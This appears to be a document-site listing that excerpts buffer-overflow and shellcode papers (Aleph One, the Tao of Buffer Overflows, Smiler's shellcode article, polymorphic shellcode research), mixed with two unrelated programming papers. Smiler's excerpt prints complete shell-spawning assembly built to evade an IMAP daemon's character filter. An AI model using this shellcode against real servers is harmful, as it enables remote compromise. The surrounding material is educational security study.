An Empirical Study of Real-World Polymorphic Code Injection Attacks
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Automated Malware Analysis Report for Shellcode.Exe
ID: 205432 Sample Name: shellcode.exe Cookbook: default.jbs Time: 00:40:30 Date: 04/02/2020 Version: 28.0.0 Lapis Lazuli Table of Contents Table of Contents 2 Analysis Report shellcode.exe 3 Overview 3 General Information 3 Detection 3 Confidence 3 Classification 4 Analysis Advice 4 Mitre Att&ck Matrix 5 Signature Overview 5 AV Detection: 5 System Summary: 5 Data Obfuscation: 5 Malware Configuration 5 Behavior Graph 5 Simulations 6 Behavior and APIs 6 Antivirus, Machine Learning and Genetic Malware Detection 6 Initial Sample 6 Dropped Files 6 Unpacked PE Files 6 Domains 6 URLs 6 Yara Overview 7 Initial Sample 7 PCAP (Network Traffic) 7 Dropped Files 7 Memory Dumps 7 Unpacked PEs 7 Sigma Overview 7 Joe Sandbox View / Context 7 IPs 7 Domains 7 ASN 7 JA3 Fingerprints 7 Dropped Files 7 Created / dropped Files 8 Domains and IPs 8 Contacted Domains 8 Contacted IPs 8 Static File Info 8 General 8 File Icon 8 Static PE Info 8 General 8 Entrypoint Preview 9 Data Directories 10 Sections 10 Imports 11 Network Behavior 11 Code Manipulations 11 Statistics 11 System Behavior 11 Disassembly 11 Copyright Joe Security LLC 2020 Page 2 of 11 Analysis Report shellcode.exe Overview General Information Joe Sandbox Version: 28.0.0 Lapis Lazuli Analysis ID: 205432 Start date: 04.02.2020 Start time: 00:40:30 Joe Sandbox Product: CloudBasic Overall analysis duration: 0h 2m 15s Hypervisor based Inspection enabled: false Report type: light Sample file name: shellcode.exe Cookbook file name: default.jbs Analysis system description: Windows 10 64 bit (version 1803) -
Smashing the Stack for Fun and Profit
Introduction Since the famous article "Smashing the Stack for fun and profit" by aleph1 there have been countless papers about buffer overflows, why then should there be another one? Because I have read most of them and they lack the specifics of the technique, why everything happens and how to react in case of a change and why you have to react. Most of the papers out there are really notes. I can say that this has been explicitly written as a formal paper. Examples are made and also live examples are done of the different techniques and they all should work, if they don't drop me an email, although they have been tested on Slackware 7.0, 7.1 and RedHat 6.0, 6.2 and 7.0, all examples have been revisited on Slackware 9.0, RedHat 8.0 and Mandrake 9.0, Windows 2000 and Solaris on SPARC architecture. During this chapter we will have some standards, I'll use and example to illustrate them: nahual@fscking$ ./exploit1 [ + ] Example 1 for The Tao of Buffer Overflows [ + ] [ + ] Coded by Enrique A. Sanchez Montellano [ + ] Using address 0xbffff9c0 [ + ] Starting exploitation... bash# id As you can see now we've exploited the program uid=0(root) gid=0(root) bash# So as you can see user input will have this type of font, the computer will have normal and comments will have this type of font. And the Tao was born. Functions like strcpy(), strcat(), gets(), sprintf() and all its derivates can be dangerous if not used with care. Why are they not used with care?, Books and classes are not taught with security in mind, the concept of buffer overflows is a concept that is solely for security consultants and hackers, being the first a ramification of the later as far as a lot of people are concerned, so you need special skills to find them and exploit them. -
Network Security Project Buffer Overflow Exploitation
Network Security Project Buffer Overflow Exploitation Samuele Andreoli Nicol`oFornari Giuseppe Vitto Abstract In computer security a buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety. Buffer overflows can alter the way the program operates. This may result in erratic program be- havior, including memory access errors, incorrect results, crashes or a breach in system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited. [1] Buffer overflow is a complex and broad topic which requires a solid background in memory man- agement and code execution to be understood (i.e. registers, jumps, interrupts, stack frames). In this project we try to give a taste of stack-based buffer overflow putting our efforts into achieving a linear and relatively simple explanation of the topic. Report layout In Section 1 we describe all the technical details of our working environment. In Section 2 we recall some theoretical background about pointers, registers, etc. With Section 3 the lab starts: we briefly explain how the memory works by introducing gdb, which will be fundamental for the rest of the exercises 1. In Section 4 we present a first buffer overflow that allows the user to access a function which is not intended to be invoked. This is done by overwriting the value of a function pointer. In Section 5 we exploit a buffer overflow in order to execute a shellcode. The main reference for this part is the ground-breaking article Smashing The Stack For Fun And Profit by Aleph One [2]. -
The Art of Writing Shellcode, by Smiler
The Art of Writing Shellcode, by smiler. ---------------------------------------- Hopefully you are familiar with generic shell-spawning shellcode. If not read Aleph's text "Smashing The Stack For Fun And Profit" before reading further. This article will concentrate on the types of shellcode needed to exploit daemons remotely. Generally it is much harder to exploit remote daemons, because you do not have many ways of finding out the configuration of the remote server. Often the shellcode has to be much more complicated, which is what this article will focus on. I will start by looking at the ancient IMAP4 exploit. This is a fairly simple exploit. All you need to do is "hide" the /bin/sh" string in shellcode (imapd converts all lowercase characters into uppercase). None of the instructions in the generic shell-spawning shellcode contain lower-case characters, so you all you need do is change the /bin/sh string. It is the same as normal shellcode, except there is a loop which adds 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so even beginners can understand it. Sorry to all those asm virtuosos :] -----imap.S------- .globl main main: jmp call start: popl %ebx /* get address of /bin/sh */ movl %ebx,%ecx /* copy the address to ecx */ addb $0x6,%cl /* ecx now points to the last character */ loop: cmpl %ebx,%ecx jl skip /* if (ecx<ebx) goto skip */ addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */ decb %cl /* move the pointer down by one */ jmp loop skip: /* generic shell-spawning code */ movl %ebx,0x8(%ebx) xorl %eax,%eax movb %eax,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 xorl %eax,%eax inc %al int $0x80 call: call start .string "\x0f\x42\x49\x4e\x0f\x53\x48" -------------- This was a very simple variation on the generic shellcode and can be useful to mask characters that aren't allowed by the protocol the daemon uses. -
Cybercrime-As-A-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick
Cybercrime-as-a-Service: Identifying Control Points to Disrupt Keman Huang Michael Siegel Stuart Madnick Working Paper CISL# 2017-17 November 2017 Cybersecurity Interdisciplinary Systems Laboratory (CISL) Sloan School of Management, Room E62-422 Massachusetts Institute of Technology Cambridge, MA 02142 Cybercrime-as-a-Service: Identifying Control Points to Disrupt KEMAN HUANG, MICHAEL SIEGEL, and STUART MADNICK, Massachusetts Institute of Technology Cyber attacks are increasingly menacing businesses. Based on literature review and publicly available reports, this paper analyses the growing cybercrime business and some of the reasons for its rapid growth. A value chain model is constructed and used to describe 25 key value-added activities, which can be offered on the Dark Web as a service, i.e., “cybercrime-as-a-service,” for use in a cyber attack. Understanding the specialization, commercialization, and cooperation of these services for cyber attacks helps to anticipate emerging cyber attack services. Finally, this paper identifies cybercrime control-points that could be disrupted and strategies for assigning defense responsibilities to encourage collaboration. CCS Concepts: • General and reference Surveys and overviews; • Social and professional topics Computing and business; Socio-technical systems; Computer crime; • Security and privacy Social aspects of security and privacy; → → → Additional Key Words and Phrases: Cyber Attack Business; Value Chain Model; Cyber-crime-as-a-Service; Hacking Innovation; Control Point; Sharing Responsibility 1 INTRODUCTION “Where there is commerce, there is also the risk for cybercrime”[139]. Cybercrime is a tremendous threat to today’s digital society. It is extimated that the cost of cybercrime will grow from an annual sum of $3 trillion in 2015 to $6 trillion by the year 2021 [115]. -
13 Templates-Generics.Pdf
CS 242 2012 Generic programming in OO Languages Reading Text: Sections 9.4.1 and 9.4.3 J Koskinen, Metaprogramming in C++, Sections 2 – 5 Gilad Bracha, Generics in the Java Programming Language Questions • If subtyping and inheritance are so great, why do we need type parameterization in object- oriented languages? • The great polymorphism debate – Subtype polymorphism • Apply f(Object x) to any y : C <: Object – Parametric polymorphism • Apply generic <T> f(T x) to any y : C Do these serve similar or different purposes? Outline • C++ Templates – Polymorphism vs Overloading – C++ Template specialization – Example: Standard Template Library (STL) – C++ Template metaprogramming • Java Generics – Subtyping versus generics – Static type checking for generics – Implementation of Java generics Polymorphism vs Overloading • Parametric polymorphism – Single algorithm may be given many types – Type variable may be replaced by any type – f :: tt => f :: IntInt, f :: BoolBool, ... • Overloading – A single symbol may refer to more than one algorithm – Each algorithm may have different type – Choice of algorithm determined by type context – Types of symbol may be arbitrarily different – + has types int*intint, real*realreal, ... Polymorphism: Haskell vs C++ • Haskell polymorphic function – Declarations (generally) require no type information – Type inference uses type variables – Type inference substitutes for variables as needed to instantiate polymorphic code • C++ function template – Programmer declares argument, result types of fctns – Programmers -
Alphanumeric Shellcode
Alphanumeric shellcode Alphanumeric shellcode is similar to ascii shellcode in that it is used to bypass character filters and evade intrusion-detection during buffer overflow exploitation. This article documents alphanumeric code on multiple architectures, but primarily the 64 bit x86 architecture. Alphanumeric shellcode requires a basic understanding of bitwise math, assembly and shellcode. Contents 1 Available x86_64 instructions 2 Alphanumeric opcode compatibility 2.1 Alphanumeric inter-compatible x86 opcodes 2.2 15 byte architecture detection shellcode 3 Alphanumeric x86_64 register value and data manipulation 3.1 Push: alphanumeric x86_64 registers 3.2 Pop: alphanumeric x86_64 registers 3.3 Prefixes 3.4 Operands 3.5 The rbx, rsp, and rbp registers 3.6 Xor 3.7 The rsi and rdi registers 3.8 Example: Zeroing Out x86_64 CPU Registers 4 64 bit shellcode: Conversion to alphanumeric code 4.1 bof.c 4.2 Starting shellcode (64-bit execve /bin/sh) 4.3 Shellcode Analysis 4.4 Stack Analysis 4.5 The Offset 4.6 The Syscall 4.7 Arguments 4.7.1 Stack Space 4.7.2 Register Initialization 4.7.3 String Argument 4.7.4 Final Registers 4.8 Final Code 4.9 Successful Overflow Test Available x86_64 instructions This chart contains 64-bit alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available. Numeric ASCII Hex Assembler Instruction 0 0x30 xor %{16bit}, -
Typedevil: Dynamic Type Inconsistency Analysis for Javascript
TypeDevil: Dynamic Type Inconsistency Analysis for JavaScript Michael Pradel∗x, Parker Schuh∗, and Koushik Sen∗ ∗EECS Department, University of California, Berkeley xDepartment of Computer Science, TU Darmstadt Abstract—Dynamic languages, such as JavaScript, give pro- of type number with undefined, which is benign when grammers the freedom to ignore types, and enable them to write running the program in its default configuration but causes concise code in short time. Despite this freedom, many programs a crash with a slightly different configuration. Finding these follow implicit type rules, for example, that a function has a particular signature or that a property has a particular type. problems is difficult because they do not always lead to obvi- Violations of such implicit type rules often correlate with prob- ous signs of misbehavior when executing the programs. How lems in the program. This paper presents TypeDevil, a mostly can developers detect such problems despite the permissive dynamic analysis that warns developers about inconsistent types. nature of JavaScript? The key idea is to assign a set of observed types to each variable, All three examples in Figure 1 share the property that property, and function, to merge types based in their structure, and to warn developers about variables, properties, and functions a variable, property or function has multiple, inconsistent that have inconsistent types. To deal with the pervasiveness of types. In Figure 1a, variable dnaOutputStr holds both the polymorphic behavior in real-world JavaScript programs, we undefined value and string values. In Figure 1b, function present a set of techniques to remove spurious warnings and leftPad sometimes returns an object and sometimes returns to merge related warnings. -
Smashing the Stack for Fun and Profit
.oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you Smashing The Stack For Fun And Profit Aleph One [email protected] Ásmash the stackÁ [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduction Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. -
The Shellcode Generation
Attack Trends Editors: Elias Levy, [email protected] Iván Arce, [email protected] The Shellcode Generation “Now, when your weapons are dulled, your ardor damped, your strength exhausted and your treasure spent, other chieftains will spring up to take advantage of your extremity. Then no man, however wise, will be able to avert the con- sequences that must ensue.” — Sun Tzu, The Art of War ttackers carry out many network security com- countermeasures. Studying exploits furnished by promises using exploitation programs, or ex- researchers or found “in the wild” on compromised systems can pro- ploits, which take advantage of bugs in software vide valuable information about the technical skills, degree of experi- running on vulnerable systems. These programs ence, and intent of the attackers who A developed or used them. Using this are often the only remaining evidence of a security compromise; information, we can implement measures to detect and prevent at- IVAN´ ARCE by analyzing them, we can assess understand how exploits work and tacks. (Note that those who use an Core Security the incident’s impact and the at- what they’re used for. exploit are not necessarily the de- Technologies tackers’ skills and intent. We can The simplest form of exploit signers or developers. This becomes build an entire taxonomy of attacks program is known as the proof-of- evident when attackers’ actions dur- by understanding these programs’ concept (POC) exploit. Its only goal is ing a network security compromise technical capabilities and their con- to demonstrate without a doubt that are not on par with the experience nection to those who develop and a security flaw exists, often by caus- and technical knowledge required to use them. -
On the Infeasibility of Modeling Polymorphic Shellcode*
On the Infeasibility of Modeling Polymorphic Shellcode∗ Yingbo Song Michael E. Locasto Angelos Stavrou Dept. of Computer Science Dept. of Computer Science Dept. of Computer Science Columbia University Columbia University Columbia University [email protected] [email protected] [email protected] Angelos D. Keromytis Salvatore J. Stolfo Dept. of Computer Science Dept. of Computer Science Columbia University Columbia University [email protected] [email protected] ABSTRACT General Terms Polymorphic malcode remains a troubling threat. The ability for Experimentation, Measurement, Security malcode to automatically transform into semantically equivalent variants frustrates attempts to rapidly construct a single, simple, easily verifiable representation. We present a quantitative analy- Keywords sis of the strengths and limitations of shellcode polymorphism and polymorphism, shellcode, signature generation, statistical models consider its impact on current intrusion detection practice. We focus on the nature of shellcode decoding routines. The em- pirical evidence we gather helps show that modeling the class of self–modifying code is likely intractable by known methods, in- 1. INTRODUCTION cluding both statistical constructs and string signatures. In addi- Code injection attacks have traditionally received a great deal of tion, we develop and present measures that provide insight into the attention from both security researchers and the blackhat commu- capabilities, strengths, and weaknesses of polymorphic engines. In nity [1, 14], and researchers have proposed a variety of defenses, order to explore countermeasures to future polymorphic threats, we from artificial diversity of the address space [5] or instruction set show how to improve polymorphic techniques and create a proof- [20, 4] to compiler-added integrity checking of the stack [10, 15] of-concept engine expressing these improvements. -
Polymorphic and Metamorphic Code Applications in Portable Executable Files Protection
Volume 51, Number 1, 2010 ACTA TECHNICA NAPOCENSIS Electronics and Telecommunications ________________________________________________________________________________ POLYMORPHIC AND METAMORPHIC CODE APPLICATIONS IN PORTABLE EXECUTABLE FILES PROTECTION Liviu PETREAN “Emil Racovi ţă ” High School Baia Mare, 56 V. Alecsandri, tel. 0262 224 266 Abstract: Assembly code obfuscation is one of the most popular ways used by software developers to protect their intellectual property. This paper is reviewing the methods of software security employing metamorphic and polymorphic code transformations used mostly by computer viruses. Keywords: code, polymorphic, portable I. INTRODUCTION to execute. Nowadays self-modifying code is used by The illegal copying of computer programs causes huge programs that do not want to reveal their presence such as revenue losses of software companies and most of the computer viruses and executable compressors and time these losses exceed the earnings. As a consequence protectors. the software companies should use strong protection for Self modifying code is quite straightforward to write their intellectual property, but surprisingly, we often when using assembly language but it can also be encounter the absence of such protection or just a futile implemented in high level language interpreters as C and security routine. Many software producers argued these C++. The usage of self modifying code has many frailties affirming that sooner or later their product will be purposes. Those which present an interest for us in this reversed with or without protection [1], [3], [6]. They are paper are mentioned below: right but only partially, because even if everything that 1. Hiding the code to prevent reverse engineering, can be run can be reversed, the problem is how long is the through the use of a disassembler or debugger.